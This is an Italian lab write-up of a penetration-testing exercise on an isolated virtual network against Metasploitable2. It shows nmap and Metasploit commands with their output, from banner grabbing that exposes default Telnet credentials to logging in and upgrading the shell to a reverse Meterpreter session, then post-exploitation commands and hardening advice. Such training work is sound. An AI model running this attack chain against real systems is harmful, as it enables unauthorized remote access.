

# Pratica S7/L2 - Exploit del Servizio Telnet con Metasploit

## 1. Introduzione

Il presente laboratorio ha come obiettivo l'**analisi** e lo **sfruttamento controllato del servizio Telnet** presente sulla macchina vulnerabile Metasploitable2, utilizzando il framework Metasploit.

L'attività è stata svolta esclusivamente in ambiente di laboratorio isolato a fini didattici, al fine di comprendere le fasi di enumerazione, autenticazione remota, gestione delle sessioni e post-exploitation tramite Meterpreter.

## 2. Ambiente di laboratorio

### Architettura utilizzata

L'ambiente di laboratorio è stato realizzato tramite macchine virtuali collegate su rete interna, con pfSense configurato come router e gateway predefinito per la comunicazione tra gli host.

Sistema	Ruolo	Indirizzo IP
pfSense	Router/Gateway di rete	192.168.50.1
Kali Linux	Attaccante	192.168.50.151
Metasploitable2	Target vulnerabile	192.168.50.101

### Descrizione topologia di rete

La pfSense è stata configurata come router di frontiera della rete di laboratorio, svolgendo le seguenti funzioni:

- Gateway predefinito per Kali Linux e Metasploitable2
- Instradamento del traffico nella subnet 192.168.50.0/24
- Separazione logica dell'ambiente di test dalla rete esterna

Entrambe le macchine Kali Linux e Metasploitable2 utilizzano pfSense (192.168.50.1) come **default gateway**, consentendo la corretta comunicazione IP all'interno della rete virtuale.

## Strumenti utilizzati

- **Metasploit Framework (msfconsole)**: utilizzato per le attività di scansione, autenticazione remota, gestione delle sessioni e post-exploitation.
- **VirtualBox (rete interna isolata)**: utilizzato per la creazione dell'ambiente virtuale di laboratorio e l'isolamento della rete di test.

## 3. Fase Preliminare - Ricognizione iniziale e selezione dei moduli

### 3.1 - Service Discovery con Nmap

#### Obiettivo

Identificare i servizi di rete esposti dalla macchina target al fine di determinare la superficie di attacco prima dell'utilizzo del framework Metasploit.

#### Attività svolta

È stata eseguita una scansione di individuazione dei servizi tramite il comando:

```
nmap -sV 192.168.50.101
```

dove *-sV* consente il rilevamento delle versioni dei servizi in ascolto sulle porte aperte.

#### Risultato

La scansione ha evidenziato la **presenza** del servizio **Telnet** attivo sulla **porta TCP 23**, confermando che il target espone un **servizio legacy** non cifrato potenzialmente vulnerabile.

Questo risultato ha permesso di selezionare Telnet come vettore principale per la successiva fase di analisi ed exploitation.

```
(kali@kali)-[~]
$ nmap -sV 192.168.50.101
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-20 09:59 -0500
Nmap scan report for 192.168.50.101
Host is up (0.00016s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
53/tcp    open  domain         ISC BIND 9.4.2
```

*Scansione dei servizi tramite Nmap con individuazione del servizio Telnet attivo sulla macchina Metasploitable.*

## 3.2 - Ricerca dei moduli Telnet in Metasploit

### Obiettivo

Individuare all'interno del framework Metasploit i moduli più appropriati per l'analisi del servizio Telnet.

### Attività svolta

All'interno della console Metasploit è stata effettuata una ricerca dei moduli disponibili tramite:

*search telnet*

Questo comando consente di elencare tutti i moduli correlati al protocollo Telnet presenti nel framework.

### Risultato

La ricerca ha restituito diversi moduli relativi al servizio Telnet, tra cui moduli di scansione, autenticazione ed exploitation.

Questa fase ha consentito di orientare correttamente la scelta del modulo di enumeration utilizzato nella fase successiva.

```
msf > search telnet
```

Matching Modules					
#	Name	Disclosure Date	Rank	Check	Description
0	exploit/linux/misc/asus_infosvr_auth_bypass_exec	2015-01-04	excellent	No	ASU
1	exploit/linux/http/asuswrt_lan_rce	2018-01-22	excellent	No	Asu
2	auxiliary/server/capture/telnet	.	normal	No	Aut
3	auxiliary/scanner/telnet/brocade_enable_login	.	normal	No	Bro
4	exploit/windows/proxy/ccproxy/telnet_ping	2004-11-11	average	Yes	CCP
5	target: Automatic	.	.	.	.
6	target: Windows 2000 Pro All - English	.	.	.	.
7	target: Windows 2000 Pro All - Italian	.	.	.	.
8	target: Windows 2000 Pro All - French	.	.	.	.
9	target: Windows XP SP0/1 - English	.	.	.	.
10	target: Windows XP SP2 - English	.	.	.	.
11	auxiliary/dos/cisco/ios_telnet_rocem	2017-03-17	normal	No	Cis
12	auxiliary/admin/http/dlink_dir_300_600_exec_noauth	2013-02-04	normal	No	D-L
13	exploit/linux/http/dlink_diagnostic_exec_noauth	2013-03-05	excellent	No	D-L
14	target: CMD	.	.	.	.
15	target: Linux mipsel Payload	.	.	.	.
16	exploit/linux/http/dlink_dir300_exec_telnet	2013-04-22	excellent	No	D-L
17	exploit/unix/webapp/dogfood_spell_exec	2009-03-03	excellent	Yes	Dog
18	exploit/freebsd/telnet/telnet_encrypt_keyid	2011-12-23	great	No	Fre
19	target: Automatic	.	.	.	.
20	target: FreeBSD 8.2	.	.	.	.
21	target: FreeBSD 8.1	.	.	.	.
22	target: FreeBSD 8.0	.	.	.	.
23	target: FreeBSD 7.3/7.4	.	.	.	.
24	target: FreeBSD 7.0/7.1/7.2	.	.	.	.
25	target: FreeBSD 6.3/6.4	.	.	.	.
26	target: FreeBSD 6.0/6.1/6.2	.	.	.	.
27	target: FreeBSD 5.5	.	.	.	.
28	target: FreeBSD 5.3	.	.	.	.

*Ricerca dei moduli Telnet disponibili all'interno del framework Metasploit.*

### 3.3 - Filtraggio dei moduli Auxiliary Scanner

#### Obiettivo

Selezionare esclusivamente i **moduli di tipo auxiliary scanner**, adatti alla fase di ricognizione attiva non distruttiva.

#### Attività svolta

È stato utilizzato il comando:

*search type:auxiliary telnet*

Questo filtro permette di visualizzare solo i moduli appartenenti alla categoria auxiliary dedicati al servizio Telnet.

#### Risultato

Tra i moduli individuati è stato selezionato:

*auxiliary/scanner/telnet/telnet\_version*

in quanto specificamente progettato per l'enumerazione del servizio Telnet e il recupero delle informazioni di banner.

```
msf > search type:auxiliary telnet
```

Matching Modules					
#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/server/capture/telnet	.	normal	No	Authenticat
1	auxiliary/scanner/telnet/brocade_enable_login	.	normal	No	Brocade Ena
2	auxiliary/dos/cisco/ios_telnet_rocem	2017-03-17	normal	No	Cisco IOS T
3	auxiliary/admin/http/dlink_dir_300_600_exec_noauth	2013-02-04	normal	No	D-Link DIR-
4	auxiliary/scanner/ssh/juniper_backdoor	2015-12-20	normal	No	Juniper SSH
5	auxiliary/scanner/telnet/lantronix_telnet_password	.	normal	No	Lantronix T
6	auxiliary/scanner/telnet/lantronix_telnet_version	.	normal	No	Lantronix T
7	auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof	2010-12-21	normal	No	Microsoft I
8	auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass	2021-09-06	normal	Yes	Netgear PNP
9	auxiliary/admin/http/netgear_r6700_pass_reset	2020-06-15	normal	Yes	Netgear R67
10	auxiliary/admin/http/netgear_r7000_backup.cgi_heap_overflow_rce	2021-04-21	normal	Yes	Netgear R70
11	auxiliary/scanner/telnet/telnet_ruggedcom	.	normal	No	RuggedCom T
12	auxiliary/scanner/telnet/satel_cmd_exec	2017-04-07	normal	No	Satel Iberi
13	auxiliary/scanner/telnet/telnet_login	.	normal	No	Telnet Logi
14	auxiliary/scanner/telnet/telnet_version	.	normal	No	Telnet Serv
15	auxiliary/scanner/telnet/telnet_encrypt_overflow	.	normal	No	Telnet Serv

*Filtraggio dei moduli auxiliary relativi al servizio Telnet per la selezione del modulo di enumeration.*

## 4. Fase 1 - Scansione del servizio Telnet

### Obiettivo

Effettuare l'enumerazione del servizio Telnet presente sulla macchina target al fine di ottenere informazioni operative utili alle successive fasi di autenticazione e compromissione del sistema.

### Attività svolta

All'interno del framework Metasploit è stato selezionato il modulo di enumerazione del servizio Telnet con il comando:

*use auxiliary/scanner/telnet/telnet\_version*

Prima dell'esecuzione del modulo è stato utilizzato il comando ***show options*** al fine di verificare i parametri di configurazione richiesti dal modulo e garantire una corretta impostazione del target.

```
msf auxiliary(scanner/telnet/telnet_version) > show options
Module options (auxiliary/scanner/telnet/telnet_version):
```

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
RHOSTS	192.168.50.101	yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

*Visualizzazione dei parametri del modulo telnet\_version tramite comando show options e verifica della configurazione del target prima dell'esecuzione.*

Successivamente è stato configurato il parametro ***RHOSTS*** con l'**indirizzo IP** della macchina **Metasploitable** (192.168.50.101) ed è stata avviata l'esecuzione del modulo tramite il comando ***run***.

Il modulo ha effettuato una connessione al servizio Telnet sulla porta TCP 23 ed ha interrogato il servizio per ottenere informazioni di banner e dettagli di configurazione.

### Risultato

L'enumerazione ha confermato la presenza del servizio Telnet attivo ed ha restituito il banner di login del sistema target.

Dall'output è stato possibile individuare l'esposizione di credenziali di default:

```
msf auxiliary(scanner/telnet/telnet_version) > run
[+] 192.168.50.101:23 - 192.168.50.101:23 TELNET
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
[*] 192.168.50.101:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Questo risultato **evidenzia una grave vulnerabilità** di configurazione, in quanto il servizio Telnet **fornisce informazioni sensibili** direttamente nel banner di accesso, consentendo un accesso non autorizzato al sistema.

## 5. Fase 2 - Autenticazione al servizio Telnet

### Obiettivo

Ottenere l'**accesso remoto** al sistema target sfruttando le **credenziali individuate durante la fase di enumeration** del servizio Telnet, al fine di stabilire una sessione interattiva controllata tramite Metasploit.

### Attività svolta

All'interno del framework Metasploit è stato selezionato il modulo con il comando:

*use auxiliary/scanner/telnet/telnet\_login*

Prima dell'esecuzione del modulo è stato utilizzato il comando ***show options*** per analizzare i parametri richiesti e configurare correttamente l'operazione di autenticazione.

Con il comando ***set*** sono stati impostati i seguenti parametri:

- ***RHOSTS: 192.168.50.101*** (indirizzo IP del target)
- ***USERNAME: msfadmin***
- ***PASSWORD: msfadmin***
- ***STOP\_ON\_SUCCESS: true***

L'opzione ***STOP\_ON\_SUCCESS*** è stata abilitata per interrompere automaticamente i tentativi di autenticazione al primo accesso riuscito, riducendo il traffico di rete non necessario e simulando un comportamento realistico di attacco mirato.



```
msf auxiliary(scanner/telnet/telnet_login) > show options

Module options (auxiliary/scanner/telnet/telnet_login):
```

Name	Current Setting	Required	Description
ANONYMOUS_LOGIN	false	yes	Attempt to login with a blank username and password
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to brute force, from 0 to 5
CreateSession	true	no	Create a new session for every successful login
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
DB_SKIP_EXISTING	none	no	Skip existing credentials stored in the current database (Accepted : none, user, user@realm)
PASSWORD	msfadmin	no	A specific password to authenticate with
PASS_FILE		no	File containing passwords, one per line
RHOSTS	192.168.50.101	yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
RPORT	23	yes	The target port (TCP)
STOP_ON_SUCCESS	true	yes	Stop guessing when a credential works for a host
THREADS	1	yes	The number of concurrent threads (max one per host)
USERNAME	msfadmin	no	A specific username to authenticate as
USERPASS_FILE		no	File containing users and passwords separated by space, one pair per line
USER_AS_PASS	false	no	Try the username as the password for all users
USER_FILE		no	File containing usernames, one per line
VERBOSE	true	yes	Whether to print output for all attempts

*Visualizzazione dei parametri del modulo telnet\_login tramite comando show options e configurazione dell'autenticazione al servizio Telnet.*

Successivamente è stata avviata l'esecuzione del modulo tramite il comando **exploit** (equivalente a **run**), che ha tentato l'accesso al servizio Telnet utilizzando le credenziali configurate.

## Risultato

L'esecuzione del modulo ha avuto **esito positivo** e ha consentito l'accesso remoto al sistema target tramite il servizio Telnet.

Metasploit ha aperto una sessione shell interattiva, confermando la validità delle credenziali utilizzate e la possibilità di eseguire comandi direttamente sul sistema Metasploitable.

Questo risultato dimostra come l'utilizzo di credenziali di default su servizi legacy non cifrati rappresenti un vettore di compromissione immediato.

```
msf auxiliary(scanner/telnet/telnet_login) > exploit
[*] 192.168.50.101:23 - No active DB -- Credential data will not be saved!
[*] 192.168.50.101:23 - 192.168.50.101:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.50.101:23 - Attempting to start session 192.168.50.101:23 with msfadmin:msfadmin
[*] Command shell session 1 opened (192.168.50.151:46471 -> 192.168.50.101:23) at 2026-01-20 11:09:13 -0500
[*] 192.168.50.101:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

*Autenticazione Telnet riuscita e apertura della sessione shell remota tramite Metasploit.*

## 6. Fase 3 - Gestione delle sessioni

### Obiettivo

Verificare la corretta creazione della sessione remota ottenuta tramite autenticazione Telnet e stabilire un'interazione diretta con il sistema target al fine di confermare l'accesso operativo.

### Attività svolta

Dopo l'apertura della shell remota, è stato utilizzato il comando:

*sessions -l*

per visualizzare l'elenco delle sessioni attive gestite dal framework Metasploit.

```
msf auxiliary(scanner/telnet/telnet_login) > sessions -l
```

Active sessions				
Id	Name	Type	Information	Connection
1		shell	TELNET msfadmin:msfadmin (192.168.50.101:23)	192.168.50.151:46471 → 192.168.50.101:23 (192.168.50.101)

*Visualizzazione delle sessioni attive tramite il comando sessions -l.*

Successivamente è stata selezionata la sessione Telnet appena creata tramite il comando:

*sessions -i 1*

Una volta entrati nella shell remota, sono stati eseguiti i seguenti comandi di verifica *whoami* e *hostname*.

```
msf post(multi/manage/shell_to_meterpreter) > sessions -i 1
[*] Starting interaction with 1...

msfadmin@metasploitable:~$ whoami
msfadmin
msfadmin@metasploitable:~$ hostname
metasploitable
```

*Interazione con la shell Telnet remota e verifica del contesto utente e host del sistema target.*

Questi controlli sono stati effettuati per confermare l'identità dell'utente remoto e verificare che l'accesso fosse effettivamente avvenuto sul sistema target Metasploitable.



## Risultato

L'interazione con la sessione ha confermato il corretto accesso remoto al sistema Metasploitable.

I comandi di verifica hanno restituito i seguenti risultati:

- Utente attivo: msfadmin
- Host compromesso: metasploitable

Questo conferma che la sessione Telnet è stata stabilita correttamente e che l'attaccante dispone ora di una shell interattiva sul sistema target, prerequisito necessario per procedere alle successive attività di post-exploitation.

## 7. Fase 4 - Upgrade della sessione a Meterpreter

### Obiettivo

Convertire la sessione shell Telnet precedentemente ottenuta in una sessione Meterpreter al fine di disporre di un canale di controllo avanzato per le attività di post-exploitation e di analisi del sistema target.

### Attività svolta

Dopo aver verificato la corretta interazione con la shell Telnet, la sessione è stata messa in background, con successiva conferma dell'operazione, tramite la combinazione di tasti:

Ctrl + Z

Successivamente è stato selezionato il modulo di upgrade con il comando:

*use post/multi/manage/shell\_to\_meterpreter*

Prima dell'esecuzione del modulo è stato utilizzato il comando ***show options*** per verificare i parametri richiesti e configurare correttamente l'operazione di conversione.

Con il comando ***set*** sono stati configurati i seguenti parametri:

- ***SESSION: 1*** (ID della sessione shell Telnet da convertire)
- ***LHOST: 192.168.50.151*** (indirizzo IP della macchina Kali Linux)

L'opzione *HANDLER* è stata mantenuta attiva per consentire l'avvio automatico del listener necessario alla ricezione della connessione di ritorno dal target.

```
msf post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):

  Name      Current Setting  Required  Description
  --      -
  HANDLER   true             yes       Start an exploit/multi/handler to receive the connection
  LHOST     192.168.50.151   no        IP of host that will receive the connection from the payload (Will try to a
  LPORT     4433             yes       Port for payload to connect to.
  SESSION   1                yes       The session to run this module on
```

*Visualizzazione dei parametri del modulo shell\_to\_meterpreter e configurazione dell'upgrade della sessione.*

Successivamente è stata avviata l'esecuzione del modulo tramite il comando **run**, che ha caricato il payload Meterpreter sul sistema target ed ha stabilito una nuova connessione remota.

```
msf post(multi/manage/shell_to_meterpreter) > run
[!] SESSION may not be compatible with this module:
[!] * Unknown session platform. This module works with: Linux, OSX, Unix, Solaris, BSD, Windows.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.50.151:4433
[*] Sending stage (1062760 bytes) to 192.168.50.101
[*] Meterpreter session 2 opened (192.168.50.151:4433 → 192.168.50.101:41611) at 2026-01-20 11:23:08 -0500
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
```

*Creazione della sessione Meterpreter a seguito dell'upgrade della shell Telnet.*

## Risultato

L'operazione di upgrade è stata completata con successo e ha portato alla creazione di una nuova sessione Meterpreter attiva sul sistema target.

Tramite il seguente comando è stato possibile verificare la presenza simultanea di due sessioni attive:

*sessions -l*

```
msf post(multi/manage/shell_to_meterpreter) > sessions -l

Active sessions

  Id  Name      Type      Information                                     Connection
  --  --
  1    shell     TELNET    msfadmin:msfadmin (192.168.50.101:23)         192.168.50.151:46471 → 192.168.50.101:23 (192.168.50.101)
  2    meterpreter x86/linux  msfadmin @ metasploitable.localdomain         192.168.50.151:4433 → 192.168.50.101:41611 (192.168.50.101)
```

*Verifica delle sessioni attive tramite comando sessions -l con evidenza della sessione Telnet originale e della nuova sessione Meterpreter creata dopo l'upgrade.*

Questo conferma il corretto mantenimento della sessione di ingresso e la creazione della nuova sessione avanzata.

Successivamente è stato effettuato l'accesso alla sessione Meterpreter tramite:

*sessions -i 2*

Una volta stabilita l'interazione con la sessione Meterpreter, sono stati eseguiti i seguenti comandi di verifica *sysinfo*, *getuid*, *pwd*, *ls* e *ipconfig*.

I comandi di verifica hanno restituito le seguenti informazioni:

- Sistema operativo: **Ubuntu 8.04**
- Architettura: **x86 (i686)**
- Utente attivo: **msfadmin**
- Interfaccia di rete principale: **eth0**
- Indirizzo IP del target: **192.168.50.101/24**
- Directory di lavoro corrente: **/home/msfadmin**
- Contenuto della directory

Questo risultato conferma la piena compromissione del sistema target e la disponibilità di un canale di controllo avanzato per l'esecuzione di operazioni di post-exploitation.

```
msf post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2 ...

meterpreter > sysinfo
Computer      : metasploitable.localdomain
OS            : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple    : i486-linux-musl
Meterpreter   : x86/linux
meterpreter > getuid
Server username: msfadmin
```

*Accesso alla sessione Meterpreter e verifica del contesto del sistema target tramite i comandi sysinfo e getuid.*

```
meterpreter > pwd
/home/msfadmin
meterpreter > ls
Listing: /home/msfadmin
```

Mode	Size	Type	Last modified	Name
020666/rw-rw-rw-	0	cha	2010-03-16 19:01:07 -0400	.bash_history
040755/rwxr-xr-x	4096	dir	2010-04-17 14:11:00 -0400	.distcc
040700/rwx-----	4096	dir	2026-01-12 06:25:01 -0500	.gconf
040700/rwx-----	4096	dir	2026-01-12 06:25:31 -0500	.gconfd
100600/rw-----	4174	fil	2012-05-14 02:01:49 -0400	.mysql_history
100644/rw-r--r--	586	fil	2010-03-16 19:12:59 -0400	.profile
100700/rwx-----	4	fil	2012-05-20 14:22:32 -0400	.rhosts
040700/rwx-----	4096	dir	2010-05-17 21:43:18 -0400	.ssh
100644/rw-r--r--	0	fil	2010-05-07 14:38:35 -0400	.sudo_as_admin_successful
040755/rwxr-xr-x	4096	dir	2010-04-27 23:44:17 -0400	vulnerable

*Verifica del percorso di lavoro corrente e enumerazione del filesystem dell'utente compromesso tramite i comandi pwd e ls.*

```
meterpreter > ipconfig

Interface 1
=====
Name       : lo
Hardware MAC : 00:00:00:00:00:00
MTU        : 16436
Flags      : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::

Interface 2
=====
Name       : eth0
Hardware MAC : 08:00:27:d6:14:8d
MTU        : 1500
Flags      : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.50.101
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fed6:148d
IPv6 Netmask : ffff:ffff:ffff:ffff::
```

*Visualizzazione delle interfacce di rete del sistema target tramite comando ipconfig in Meterpreter.*

## 8. Considerazioni di Sicurezza

L'attività ha evidenziato come l'utilizzo di **servizi legacy non cifrati**, quali Telnet, e la **presenza di credenziali di default** rappresentino **vulnerabilità critiche** per la sicurezza dei sistemi.

L'esposizione di **informazioni sensibili tramite il banner di servizio** ha inoltre dimostrato come **configurazioni errate** possano facilitare l'**accesso non autorizzato**.

Per ridurre il rischio di compromissione è necessario adottare **protocolli cifrati** (come SSH), **rimuovere credenziali predefinite**, applicare **politiche di hardening** dei sistemi e **limitare l'esposizione dei servizi di rete**.

## 9. Conclusioni

Il laboratorio ha consentito di analizzare l'**intero flusso di un attacco controllato**, dalla fase di **enumeration** fino all'ottenimento di una **sessione Meterpreter** per attività di **post-exploitation**.

L'esperienza ha dimostrato come **vulnerabilità di configurazione apparentemente semplici** possano portare rapidamente alla **compromissione completa di un sistema** e ha permesso di consolidare competenze fondamentali nell'utilizzo del **framework Metasploit** e nelle **metodologie di penetration testing**.